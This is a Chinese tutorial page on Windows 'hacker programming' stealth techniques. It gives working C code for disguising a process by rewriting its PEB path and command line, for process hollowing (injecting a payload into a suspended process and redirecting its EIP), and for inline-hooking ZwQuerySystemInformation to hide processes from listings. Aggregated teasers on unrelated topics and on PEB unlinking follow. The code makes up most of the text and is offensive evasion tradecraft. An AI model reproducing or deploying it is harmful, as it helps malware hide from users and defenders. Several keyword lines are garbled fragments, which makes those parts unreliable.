进程隐藏器|windows黑客编程技术的隐藏技术(进程伪装、傀儡进程、进程隐藏)
进程伪装:伪装是通过改变指定进程的PEB中的路径和命令行信息来实现的。
傀儡进程:通过暂停进程,替换显存数据,然后恢复执行来创建一个“傀儡进程”。
进程隐藏:进程隐藏是通过HOOK函数实现的。
1 进程伪装实现原理
就是改变指定进程环境块中的进程路径和命令行信息,从而达到进程伪装的效果。因此,实现的关键是进程环境块的获取。可以使用ntdll.dll的导入函数cess获取指定进程的PEB地址,然后调用and对目标进程进行读写。
编码实现
关键字:ocess、Read/、ATION、PEB
// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
// 打开进程获取句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
ShowError("GetProcAddress");
return FALSE;
}
// 获取指定进程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
ShowError("NtQueryInformationProcess");
return FALSE;
}
/*
注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,
每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。
要不然一直提示位置访问错误!
*/
// 获取指定进程进本信息结构中的PebBaseAddress
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中
usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
usPathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
}
测试
改变之前
修改后
进程实现原理
创建进程的原理是改变进程的显存数据,将代码写入显存,改变进程的执行流程改为执行代码。
有两个关键点:
一是写入数据的时机进程隐藏器,二是修改执行流程的技巧。当我们这样做时,设置状态,以便主线程将暂停,直到线程得到回复才能继续执行。这时候我们可以通过函数改变线程上下文中的EIP数据,改变程序的运行顺序。
编码实现
关键字:获取/,
// 创建进程并替换进程内存数据, 更改执行顺序
BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT threadContext = { 0 };
BOOL bRet = FALSE;
::RtlZeroMemory(&si, sizeof(si));
::RtlZeroMemory(&pi, sizeof(pi));
::RtlZeroMemory(&threadContext, sizeof(threadContext));
si.cb = sizeof(si);
// 创建进程并挂起主线程
bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (FALSE == bRet)
{
ShowError("CreateProcess");
return FALSE;
}
// 读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放 PEB_LDR_DATA 的地址
// 我们可以根据 PEB_LDR_DATA 获取进程基址以及遍历进程链获取所有进程
// DWORD dwProcessBaseAddr = 0;
// ::ReadProcessMemory(pi.hProcess, (LPVOID)(8 + threadContext.Ebx), &dwProcessBaseAddr, sizeof(dwProcessBaseAddr), NULL);
// 在替换的进程中申请一块内存

LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == lpDestBaseAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 写入替换的数据
bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
if (FALSE == bRet)
{
ShowError("WriteProcessError");
return FALSE;
}
// 获取线程上下文
// 注意此处标志,一定要写!!!
threadContext.ContextFlags = CONTEXT_FULL;
bRet = ::GetThreadContext(pi.hThread, &threadContext);//64:Wow64GetThreadContext
if (FALSE == bRet)
{
ShowError("GetThreadContext");
return FALSE;
}
// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
// 设置挂起进程的线程上下文
bRet = ::SetThreadContext(pi.hThread, &threadContext);//Wow64SetThreadContext
if (FALSE == bRet)
{
ShowError("SetThreadContext");
return FALSE;
}
// 恢复挂起的进程的线程
::ResumeThread(pi.hThread);
return TRUE;
}
测试
直接启动测试程序弹出框:
作为进程启动并成功执行代码。
进程隐藏原理
通过 隐藏进程。遍历过程一般是通过shot等实现的,通过逆向这个API可以发现它们内部最终调用了ion,所以才需要。
在钩子函数中,判断获取到的信息是否为进程信息,如果是,则将其移除进程隐藏器,从而隐藏进程信息。
并且注意这个函数是没有导入的,不然你得自动去ntdll获取。
HOOK技术介绍:
hook的核心原理是在获取到进程指定的API地址后,改变API函数入口地址的前几个字节,编写跳转指令,跳转到自定义的hook函数执行。
注意区分32位和64位系统,他们的手的粗细不同。所以32位系统需要修改函数的前5个字节数据,64位系统是前12个字节数据。
编码实现
void HookApi()
{
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
if (NULL == hDll)
{
return;
}
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
return;
}
// 32 位下修改前 5 字节, 64 位下修改前 12 字节
#ifndef _WIN64
// jmp New_ZwQuerySystemInformation
// 机器码位:e9 _dwOffset(跳转偏移)
// addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
// addr2 --> 跳转地址的值,即_dwNewAddress的值
// 跳转偏移 _dwOffset = addr2 - addr1
BYTE pData[5] = { 0xe9, 0, 0, 0, 0};
DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
// 保存前 5 字节数据
::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
#else
// mov rax,0x1122334455667788
// jmp rax
// 机器码是:
// 48 b8 8877665544332211
// ff e0
BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};
ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));
// 保存前 12 字节数据
::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
#endif
// 设置页面的保护属性为 可读、可写、可执行
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 修改
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
// 还原页面保护属性
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
进程隐藏器|SuperMapiServer微服务多实例
进程隐藏器|SuperMap iServer 微服务多实例多实例特性是基于多进程工作模式,将一个服务自动扩展出多个完全相同的实例,并且每个实例分别运行在一个进程中,每个实例都可以独立处理请求。当多进程的主节点(节点)收到用户的请求后,根据特定算法,选择一个实例来响应用户的请求。当服务器收到相同服务的并发请求时,便可由多个进程处理,减少客户端的等待时间。如图3所示,利用第三方测试工具,测试了同一服务在设置了不同实例个数时,服务点击率的变化情况。 【查看详情】
进程隐藏器|Linux添加启动进程或任务
进程隐藏器|Linux 添加开机自启进程或任务有时候需要一些开机自启的任务或者定时重启任务,把程序过一段时间重启一次。1、写脚本来执行要做的操作,将脚本加到系统的开机自启任务进程里面,这里启动起来的是root用户进程,这个启动起来之后可以在后头进程里面看到。里面添加自启任务,需要如下几个文件,文件和脚本自己创建:2、写脚本来执行要做的操作,将脚本加到普通用户的的开机自启任务进程里面,这里启动起来的是普通用户进程。 【查看详情】
进程隐藏器|基于PEB断链的隐藏进程/模块
进程隐藏器|基于PEB断链实现进程/模块隐藏断链这种技术非常古老,同时应用于非常多的场景,在内核层如果我们需要隐藏一个进程的内核结构体,也会使用这种技术。本文基于PEB断链在用户层和内核层分别进行实现,在用户层达到的效果主要是dll模块的隐藏,在内核层达到的效果主要是进程的隐藏。这个链表跟进程隐藏有关,只要我们把想要隐藏进程对应的的链断掉,就可以达到在0环进程隐藏的目的。如果是我们想要隐藏的进程就执行断链操作 【查看详情】